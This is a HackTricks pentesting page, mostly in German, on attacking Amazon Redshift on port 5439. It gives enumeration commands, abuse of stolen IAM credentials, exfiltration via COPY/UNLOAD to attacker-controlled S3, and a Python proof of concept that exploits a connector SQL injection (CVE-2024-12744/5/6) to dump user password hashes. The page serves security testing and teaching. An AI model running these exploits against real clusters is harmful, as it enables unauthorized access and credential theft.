5439 - Pentesting Redshift
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundlegende Informationen
Dieser Port wird von Amazon Redshift (von AWS verwaltetes Data Warehouse) verwendet. Das Wire-Protokoll von Redshift ist ein leicht modifiziertes PostgreSQL-Protokoll, daher funktionieren die meisten Postgres-Client-Tools (psql, psycopg2, JDBC/ODBC), aber auth- und TLS-Anforderungen unterscheiden sich.
Für weitere Informationen siehe:
AWS - Redshift Enum - HackTricks Cloud
Enumeration & Connectivity
- Standard-Port: 5439/TCP (anpassbar). Serverless workgroups verwenden ebenfalls standardmäßig 5439.
- Muster für öffentliche Endpunkte:
<clusterid>.<random>.<region>.redshift.amazonaws.com(public) or.redshift.amazonaws.com.cn(China). Serverless:<workgroup>.<random>.<region>.redshift-serverless.amazonaws.com. - TLS: Redshift requires TLS 1.2+ and perfect-forward-secrecy ciphers. Ältere Clients können fehlschlagen; erzwinge modernes TLS:
psql "host=<endpoint> port=5439 user=awsuser dbname=dev sslmode=require"
# or using redshift-psql wrapper
- Parameter group
require_sslsteuert, ob Klartext erlaubt ist. Neue clusters/workgroups verwendendefault.redshift-2.0mitrequire_ssl=true, so downgrade/mitm is harder.
Quick enum with psql
# basic banner/version
psql "host=<endpoint> user=<u> dbname=dev" -c 'select version();'
# list dbs, users, privileges
\l
\du
select * from pg_user;
select * from svv_redshift_sessions;
Errors differentiate bad password vs missing user → potential username enumeration during brute force.
Zu testende Authentifizierungspfade
- Datenbank-Passwort für den Master-User (oft
awsuser) oder angelegte DB-User. - IAM auth tokens: generiere kurzlebige Credentials und verbinde über libpq/JDBC/ODBC mit
sslmode=requireundauthMech=IAModerplugin_name=com.amazon.redshift.plugin.OktaCredentialsProvider. Missbrauche gestohlene IAM creds/rollen mit einerrds-db:connect-ähnlichen Berechtigung für Redshift.
aws redshift get-cluster-credentials --cluster-identifier <id> \
--db-user pentest --db-name dev --duration-seconds 900
psql "host=<endpoint> user=pentest password=<token> dbname=dev sslmode=require"
- IAM Identity Center / SAML / Azure AD plugins: JDBC
plugin_namekann einen lokalen Webserver für SSO starten; ein abgefangener Loopback-Callback kann SAML-Assertion oder temporäre Anmeldeinformationen leak.
Häufige Fehlkonfigurationen (Netzwerk)
- Cluster mit PubliclyAccessible=true und weit geöffnetem SG (0.0.0.0/0) exponiert eine Postgres-ähnliche Oberfläche für Brute-Force oder SQLi-Ausnutzung.
- Default port 5439 plus Standard-SG ermöglicht einfache Entdeckung (Shodan/Censys). Die Änderung des Ports ist nur geringe Verschleierung, wird aber in Härtungs-Checklisten manchmal übersehen.
- No enhanced VPC routing → COPY/UNLOAD laufen über das öffentliche Internet; kann für exfil missbraucht werden, wenn ein Angreifer S3-Bucket/Endpoint kontrolliert.
Angriffshinweise
- Wenn der Login gelingt, fehlt Redshift in serverless ein Superuser; in provisioned Clustern hat der Master-User weitreichende Rechte, einschließlich Erstellen von UDFs (Python), external schema zu Spectrum, COPY von angreifer-kontrolliertem S3 und
UNLOADzum Exfiltrieren von Daten. - Prüfe die Cluster-Parametergruppe auf
max_concurrency_scaling_clusters,require_ssl,enable_user_activity_logging– deaktiviertes Logging erleichtert das Verbergen. - Serverless workgroups sind weiterhin per TCP erreichbar; dieselbe SQL-Angriffsfläche wie bei provisioned Clustern.
- Client-side metadata SQLi (Dec 2024): JDBC 2.1.0.31, Python connector 2.1.4 und ODBC 2.1.5.0 bauen Metadata-Queries mit nicht-quotiertem User-Input in
getSchemas/getTables/getColumns(CVE-2024-12744/5/6). Wenn eine App Angreifern erlaubt, catalog- oder pattern-Argumente zu kontrollieren, kann beliebiges SQL injiziert werden, das mit dem DB-User ausgeführt wird, den der Connector verwendet.
# exploit vulnerable python connector 2.1.4 via metadata API
import redshift_connector
conn = redshift_connector.connect(host='<endpoint>', database='dev', user='lowpriv', password='pw')
cur = conn.cursor()
# injection in table_pattern leaks data from pg_tables
cur.get_tables(table_schema='public', table_name_pattern="%' UNION SELECT usename,passwd FROM pg_user--")
- UDF execution model change: Python UDFs stop working June 30, 2026; only Lambda UDFs allowed after. Offensive impact: legacy provisioned clusters still run Python UDFs for in-cluster code exec (no FS/network). Lambda UDFs move code to Lambda where the IAM role may reach Internet/VPC endpoints for SSRF/pivot but with no direct cluster filesystem access. Hunting old clusters with Python UDFs enabled can still yield RCE primitives.
Aktuelle Sicherheitsänderungen (Auswirkungen auf Offensive)
- Public access disabled by default on new clusters/snapshots (Jan 10, 2025 change). Legacy ones may still be public.
- Encryption at rest + enforced TLS by default macht Sniffing/MITM schwieriger; es werden gültige Credentials oder SSRF in den VPC-Pfad benötigt.
- Serverless VPCE rollout change (Jun 27, 2025): Workgroup-Endpoints werden bei Erstellung in bis zu 3 AZs angelegt. Discovery-Tools sollten alle Workgroup-VPCE-DNS-Namen pro AZ auflisten, um erreichbare IPs zu finden.
References
- AWS Security Bulletin – SQLi in Redshift JDBC/Python/ODBC drivers (CVE-2024-12744/5/6)
- AWS Big Data Blog – Python UDF end-of-support and migration to Lambda UDFs (Jan 2026)
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


